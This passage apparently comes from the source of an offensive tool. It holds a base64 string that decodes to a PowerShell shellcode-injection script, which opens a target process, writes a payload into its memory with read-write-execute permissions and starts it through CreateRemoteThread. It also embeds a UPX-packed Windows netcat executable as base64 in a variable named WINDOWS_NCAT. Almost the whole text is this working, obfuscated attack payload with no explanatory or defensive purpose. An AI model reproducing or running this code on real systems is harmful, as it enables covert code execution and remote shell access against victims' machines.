NwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJFBhcmFtZXRlcnMpCiAgICAgICAgJENvbnN0cnVjdG9yQnVpbGRlci5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKICAgICAgICAkTWV0aG9kQnVpbGRlciA9ICRUeXBlQnVpbGRlci5EZWZpbmVNZXRob2QoJ0ludm9rZScsICdQdWJsaWMsIEhpZGVCeVNpZywgTmV3U2xvdCwgVmlydHVhbCcsICRSZXR1cm5UeXBlLCAkUGFyYW1ldGVycykKICAgICAgICAkTWV0aG9kQnVpbGRlci5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKICAgICAgICAKICAgICAgICBXcml0ZS1PdXRwdXQgJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQogICAgfQoKZnVuY3Rpb24gTG9jYWw6RW1pdC1DYWxsVGhyZWFkU3R1YiAoW0ludFB0cl0gJEJhc2VBZGRyLCBbSW50UHRyXSAkRXhpdFRocmVhZEFkZHIsIFtJbnRdICRBcmNoaXRlY3R1cmUpCiAgICB7CiAgICAgICAgJEludFNpemVQdHIgPSAkQXJjaGl0ZWN0dXJlIC8gOAoKICAgICAgICBmdW5jdGlvbiBMb2NhbDpDb252ZXJ0VG8tTGl0dGxlRW5kaWFuIChbSW50UHRyXSAkQWRkcmVzcykKICAgICAgICB7CiAgICAgICAgICAgICRMaXR0bGVFbmRpYW5CeXRlQXJyYXkgPSBOZXctT2JqZWN0IEJ5dGVbXSgwKQogICAgICAgICAgICAkQWRkcmVzcy5Ub1N0cmluZygiWCQoJEludFNpemVQdHIqMikiKSAtc3BsaXQgJyhbQS1GMC05XXsyfSknIHwgRm9yRWFjaC1PYmplY3QgeyBpZiAoJF8pIHsgJExpdHRsZUVuZGlhbkJ5dGVBcnJheSArPSBbQnl0ZV0gKCcweHswfScgLWYgJF8pIH0gfQogICAgICAgICAgICBbU3lzdGVtLkFycmF5XTo6UmV2ZXJzZSgkTGl0dGxlRW5kaWFuQnl0ZUFycmF5KQogICAgICAgICAgICAKICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICRMaXR0bGVFbmRpYW5CeXRlQXJyYXkKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJENhbGxTdHViID0gTmV3LU9iamVjdCBCeXRlW10oMCkKICAgICAgICAKICAgICAgICBpZiAoJEludFNpemVQdHIgLWVxIDgpCiAgICAgICAgewogICAgICAgICAgICBbQnl0ZVtdXSAkQ2FsbFN0dWIgPSAweDQ4LDB4QjggICAgICAgICAgICAgICAgICAgICAgIyBNT1YgICBRV09SRCBSQVgsICZzaGVsbGNvZGUKICAgICAgICAgICAgJENhbGxTdHViICs9IENvbnZlcnRUby1MaXR0bGVFbmRpYW4gJEJhc2VBZGRyICAgICAgICMgJnNoZWxsY29kZQogICAgICAgICAgICAkQ2FsbFN0dWIgKz0gMHhGRiwweEQwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBDQUxMICBSQVgKICAgICAgICAgICAgJENhbGxTdHViICs9IDB4NkEsMHgwMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgUFVTSCAgQllURSAwCiAgICAgICAgICAgICRDYWxsU3R1YiArPSAweDQ4LDB4QjggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIE1PViAgIFFXT1JEIFJBWCwgJkV4aXRUaHJlYWQKICAgICAgICAgICAgJENhbGxTdHViICs9IENvbnZlcnRUby1MaXR0bGVFbmRpYW4gJEV4aXRUaHJlYWRBZGRyICMgJkV4aXRUaHJlYWQKICAgICAgICAgICAgJENhbGxTdHViICs9IDB4RkYsMHhEMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgQ0FMTCAgUkFYCiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIFtCeXRlW11dICRDYWxsU3R1YiA9IDB4QjggICAgICAgICAgICAgICAgICAgICAgICAgICAjIE1PViAgIERXT1JEIEVBWCwgJnNoZWxsY29kZQogICAgICAgICAgICAkQ2FsbFN0dWIgKz0gQ29udmVydFRvLUxpdHRsZUVuZGlhbiAkQmFzZUFkZHIgICAgICAgIyAmc2hlbGxjb2RlCiAgICAgICAgICAgICRDYWxsU3R1YiArPSAweEZGLDB4RDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIENBTEwgIEVBWAogICAgICAgICAgICAkQ2FsbFN0dWIgKz0gMHg2QSwweDAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBQVVNIICBCWVRFIDAKICAgICAgICAgICAgJENhbGxTdHViICs9IDB4QjggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgTU9WICAgRFdPUkQgRUFYLCAmRXhpdFRocmVhZAogICAgICAgICAgICAkQ2FsbFN0dWIgKz0gQ29udmVydFRvLUxpdHRsZUVuZGlhbiAkRXhpdFRocmVhZEFkZHIgIyAmRXhpdFRocmVhZAogICAgICAgICAgICAkQ2FsbFN0dWIgKz0gMHhGRiwweEQwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBDQUxMICBFQVgKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgV3JpdGUtT3V0cHV0ICRDYWxsU3R1YgogICAgfQoKCgpmdW5jdGlvbiBMb2NhbDpHZXQtUHJvY0FkZHJlc3MKICAgIHsKICAgICAgICBQYXJhbQogICAgICAgICgKICAgICAgICAgICAgW091dHB1dFR5cGUoW0ludFB0cl0pXQogICAgICAgIAogICAgICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICRUcnVlICldCiAgICAgICAgICAgIFtTdHJpbmddCiAgICAgICAgICAgICRNb2R1bGUsCiAgICAgICAgICAgIAogICAgICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICRUcnVlICldCiAgICAgICAgICAgIFtTdHJpbmddCiAgICAgICAgICAgICRQcm9jZWR1cmUKICAgICAgICApCgogICAgICAgICMgR2V0IGEgcmVmZXJlbmNlIHRvIFN5c3RlbS5kbGwgaW4gdGhlIEdBQwogICAgICAgICRTeXN0ZW1Bc3NlbWJseSA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8CiAgICAgICAgICAgIFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfQogICAgICAgICRVbnNhZmVOYXRpdmVNZXRob2RzID0gJFN5c3RlbUFzc2VtYmx5LkdldFR5cGUoJ01pY3Jvc29mdC5XaW4zMi5VbnNhZmVOYXRpdmVNZXRob2RzJykKICAgICAgICAjIEdldCBhIHJlZmVyZW5jZSB0byB0aGUgR2V0TW9kdWxlSGFuZGxlIGFuZCBHZXRQcm9jQWRkcmVzcyBtZXRob2RzCiAgICAgICAgJEdldE1vZHVsZUhhbmRsZSA9ICRVbnNhZmVOYXRpdmVNZXRob2RzLkdldE1ldGhvZCgnR2V0TW9kdWxlSGFuZGxlJykKICAgICAgICAkR2V0UHJvY0FkZHJlc3MgPSAkVW5zYWZlTmF0aXZlTWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJykKICAgICAgICAjIEdldCBhIGhhbmRsZSB0byB0aGUgbW9kdWxlIHNwZWNpZmllZAogICAgICAgICRLZXJuMzJIYW5kbGUgPSAkR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkbnVsbCwgQCgkTW9kdWxlKSkKICAgICAgICAkdG1wUHRyID0gTmV3LU9iamVjdCBJbnRQdHIKICAgICAgICAkSGFuZGxlUmVmID0gTmV3LU9iamVjdCBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmKCR0bXBQdHIsICRLZXJuMzJIYW5kbGUpCiAgICAgICAgCiAgICAgICAgIyBSZXR1cm4gdGhlIGFkZHJlc3Mgb2YgdGhlIGZ1bmN0aW9uCiAgICAgICAgV3JpdGUtT3V0cHV0ICRHZXRQcm9jQWRkcmVzcy5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdJEhhbmRsZVJlZiwgJFByb2NlZHVyZSkpCiAgICB9CgoKJElzV293NjRQcm9jZXNzQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgSXNXb3c2NFByb2Nlc3MKaWYgKCRJc1dvdzY0UHJvY2Vzc0FkZHIpCiAgICB7CiAgICAgICAgJElzV293NjRQcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtCb29sXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiAgICAgICAgJElzV293NjRQcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJElzV293NjRQcm9jZXNzQWRkciwgJElzV293NjRQcm9jZXNzRGVsZWdhdGUpCiAgICAgICAgCiAgICAgICAgJDY0Yml0Q1BVID0gJHRydWUKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICAkNjRiaXRDUFUgPSAkZmFsc2UKICAgIH0KCiAgICBpZiAoW0ludFB0cl06OlNpemUgLWVxIDQpCiAgICB7CiAgICAgICAgJFBvd2VyU2hlbGwzMmJpdCA9ICR0cnVlCiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgJFBvd2VyU2hlbGwzMmJpdCA9ICRmYWxzZQogICAgfQoKCiRTaGVsbGNvZGUgPSBTSEVMTENPREVIRVJFCltCeXRlW11dICRTaGVsbGNvZGUzMiA9ICRTaGVsbGNvZGUKW0J5dGVbXV0gJFNoZWxsY29kZTY0ID0gJFNoZWxsY29kZTMyCiRQcm9jZXNzSWQ9R2V0LVByb2Nlc3MgLU5hbWUgJypQUk9DRVNTTkFNRSonIHwgU2VsZWN0IC1FeHBhbmQgSWQKCiMgSW5qZWN0IHNoZWxsY29kZSBpbnRvIHRoZSBzcGVjaWZpZWQgcHJvY2VzcyBJRAokT3BlblByb2Nlc3NBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBPcGVuUHJvY2VzcwokT3BlblByb2Nlc3NEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbVUludDMyXSwgW0Jvb2xdLCBbVUludDMyXSkgKFtJbnRQdHJdKQokT3BlblByb2Nlc3MgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkT3BlblByb2Nlc3NBZGRyLCAkT3BlblByb2Nlc3NEZWxlZ2F0ZSkKJFZpcnR1YWxBbGxvY0V4QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jRXgKJFZpcnR1YWxBbGxvY0V4RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVWludDMyXSwgW1VJbnQzMl0sIFtVSW50MzJdKSAoW0ludFB0cl0pCiRWaXJ0dWFsQWxsb2NFeCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFsQWxsb2NFeEFkZHIsICRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlKQokV3JpdGVQcm9jZXNzTWVtb3J5QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV3JpdGVQcm9jZXNzTWVtb3J5CiRXcml0ZVByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW0ludFB0cl0sIFtCeXRlW11dLCBbVUludDMyXSwgW1VJbnQzMl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQokV3JpdGVQcm9jZXNzTWVtb3J5ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFdyaXRlUHJvY2Vzc01lbW9yeUFkZHIsICRXcml0ZVByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENyZWF0ZVJlbW90ZVRocmVhZAokQ3JlYXRlUmVtb3RlVGhyZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0pIChbSW50UHRyXSkKJENyZWF0ZVJlbW90ZVRocmVhZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRDcmVhdGVSZW1vdGVUaHJlYWRBZGRyLCAkQ3JlYXRlUmVtb3RlVGhyZWFkRGVsZWdhdGUpCiRDbG9zZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENsb3NlSGFuZGxlCiRDbG9zZUhhbmRsZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKSAoW0Jvb2xdKQokQ2xvc2VIYW5kbGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQ2xvc2VIYW5kbGVBZGRyLCAkQ2xvc2VIYW5kbGVEZWxlZ2F0ZSkKCldyaXRlLVZlcmJvc2UgIkluamVjdGluZyBzaGVsbGNvZGUgaW50byBQSUQ6ICRQcm9jZXNzSWQiCgoKCiRoUHJvY2VzcyA9ICRPcGVuUHJvY2Vzcy5JbnZva2UoMHgwMDFGMEZGRiwgJGZhbHNlLCAkUHJvY2Vzc0lEKSAjIFByb2Nlc3NBY2Nlc3NGbGFncy5BbGwgKDB4MDAxRjBGRkYpCldyaXRlLWhvc3QgJGhQcm9jZXNzOwppZiAoISRoUHJvY2VzcykKICAgICAgICB7CiAgICAgICAgICAgIFRocm93ICJVbmFibGUgdG8gb3BlbiBhIHByb2Nlc3MgaGFuZGxlIGZvciBQSUQ6ICRQcm9jZXNzSUQiCiAgICAgICAgfQokUmVtb3RlTWVtQWRkciA9ICRWaXJ0dWFsQWxsb2NFeC5JbnZva2UoJGhQcm9jZXNzLCBbSW50UHRyXTo6WmVybywgJFNoZWxsY29kZS5MZW5ndGggKyAxLCAweDMwMDAsIDB4NDApCmlmICghJFJlbW90ZU1lbUFkZHIpCiAgICAgICAgewogICAgICAgICAgICBUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIHNoZWxsY29kZSBtZW1vcnkgaW4gUElEOiAkUHJvY2Vzc0lEIgogICAgICAgIH0KCldyaXRlLUhvc3QgIlNoZWxsY29kZSBtZW1vcnkgcmVzZXJ2ZWQgYXQgMHgkKCRSZW1vdGVNZW1BZGRyLlRvU3RyaW5nKCJYJChbSW50UHRyXTo6U2l6ZSoyKSIpKSIKCgokV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkaFByb2Nlc3MsICRSZW1vdGVNZW1BZGRyLCAkU2hlbGxjb2RlLCAkU2hlbGxjb2RlLkxlbmd0aCwgW1JlZl0gMCkgfCBPdXQtTnVsbAoKIyBHZXQgYWRkcmVzcyBvZiBFeGl0VGhyZWFkIGZ1bmN0aW9uCiRFeGl0VGhyZWFkQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgRXhpdFRocmVhZAoKaWYgKCRJc1dvdzY0KQogICAgICAgIHsKICAgICAgICAgICAgIyBCdWlsZCAzMi1iaXQgaW5saW5lIGFzc2VtYmx5IHN0dWIgdG8gY2FsbCB0aGUgc2hlbGxjb2RlIHVwb24gY3JlYXRpb24gb2YgYSByZW1vdGUgdGhyZWFkLgogICAgICAgICAgICAkQ2FsbFN0dWIgPSBFbWl0LUNhbGxUaHJlYWRTdHViICRSZW1vdGVNZW1BZGRyICRFeGl0VGhyZWFkQWRkciAzMgogICAgICAgICAgICBXcml0ZS1Ib3N0ICIzMi1iaXQiOyAgIAogICAgICAgICAgICBXcml0ZS1WZXJib3NlICdFbWl0dGluZyAzMi1iaXQgYXNzZW1ibHkgY2FsbCBzdHViLicKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgIyBCdWlsZCA2NC1iaXQgaW5saW5lIGFzc2VtYmx5IHN0dWIgdG8gY2FsbCB0aGUgc2hlbGxjb2RlIHVwb24gY3JlYXRpb24gb2YgYSByZW1vdGUgdGhyZWFkLgogICAgICAgICAgICAkQ2FsbFN0dWIgPSBFbWl0LUNhbGxUaHJlYWRTdHViICRSZW1vdGVNZW1BZGRyICRFeGl0VGhyZWFkQWRkciA2NAoJICAgIFdyaXRlLUhvc3QgIjY0LWJpdCIgICAgICAgICAgICAKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAnRW1pdHRpbmcgNjQtYml0IGFzc2VtYmx5IGNhbGwgc3R1Yi4nCiAgICAgICAgfQoKCiRSZW1vdGVTdHViQWRkciA9ICRWaXJ0dWFsQWxsb2NFeC5JbnZva2UoJGhQcm9jZXNzLCBbSW50UHRyXTo6WmVybywgJENhbGxTdHViLkxlbmd0aCwgMHgzMDAwLCAweDQwKSAjIChSZXNlcnZlfENvbW1pdCwgUldYKQogICAgICAgIAogICAgICAgIGlmICghJFJlbW90ZVN0dWJBZGRyKQogICAgICAgIHsKICAgICAgICAgICAgVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSB0aHJlYWQgY2FsbCBzdHViIG1lbW9yeSBpbiBQSUQ6ICRQcm9jZXNzSUQiCiAgICAgICAgfQogICAgICAgIAogICAgICAgIFdyaXRlLVZlcmJvc2UgIlRocmVhZCBjYWxsIHN0dWIgbWVtb3J5IHJlc2VydmVkIGF0IDB4JCgkUmVtb3RlU3R1YkFkZHIuVG9TdHJpbmcoIlgkKFtJbnRQdHJdOjpTaXplKjIpIikpIgoKICAgICAgICAjIFdyaXRlIDMyLWJpdCBhc3NlbWJseSBzdHViIHRvIHJlbW90ZSBwcm9jZXNzIG1lbW9yeSBzcGFjZQogICAgICAgICRXcml0ZVByb2Nlc3NNZW1vcnkuSW52b2tlKCRoUHJvY2VzcywgJFJlbW90ZVN0dWJBZGRyLCAkQ2FsbFN0dWIsICRDYWxsU3R1Yi5MZW5ndGgsIFtSZWZdIDApIHwgT3V0LU51bGwKCiAjIEV4ZWN1dGUgc2hlbGxjb2RlIGFzIGEgcmVtb3RlIHRocmVhZAogICAgICAgICRUaHJlYWRIYW5kbGUgPSAkQ3JlYXRlUmVtb3RlVGhyZWFkLkludm9rZSgkaFByb2Nlc3MsIFtJbnRQdHJdOjpaZXJvLCAwLCAkUmVtb3RlU3R1YkFkZHIsICRSZW1vdGVNZW1BZGRyLCAwLCBbSW50UHRyXTo6WmVybykKICAgICAgICAKICAgICAgICBpZiAoISRUaHJlYWRIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBUaHJvdyAiVW5hYmxlIHRvIGxhdW5jaCByZW1vdGUgdGhyZWFkIGluIFBJRDogJFByb2Nlc3NJRCIKICAgICAgICB9CgogICAgICAgICMgQ2xvc2UgcHJvY2VzcyBoYW5kbGUKICAgICAgICAkQ2xvc2VIYW5kbGUuSW52b2tlKCRoUHJvY2VzcykgfCBPdXQtTnVsbAoKICAgICAgICBXcml0ZS1WZXJib3NlICdTaGVsbGNvZGUgaW5qZWN0aW9uIGNvbXBsZXRlIScKV3JpdGUtSG9zdCAiemMwMGwiOwoJCg==""" 65 | 66 | # netcat compiled for windows, upx -9 packed. 23 kb 67 | # 32bit 68 | 69 | WINDOWS_NCAT = """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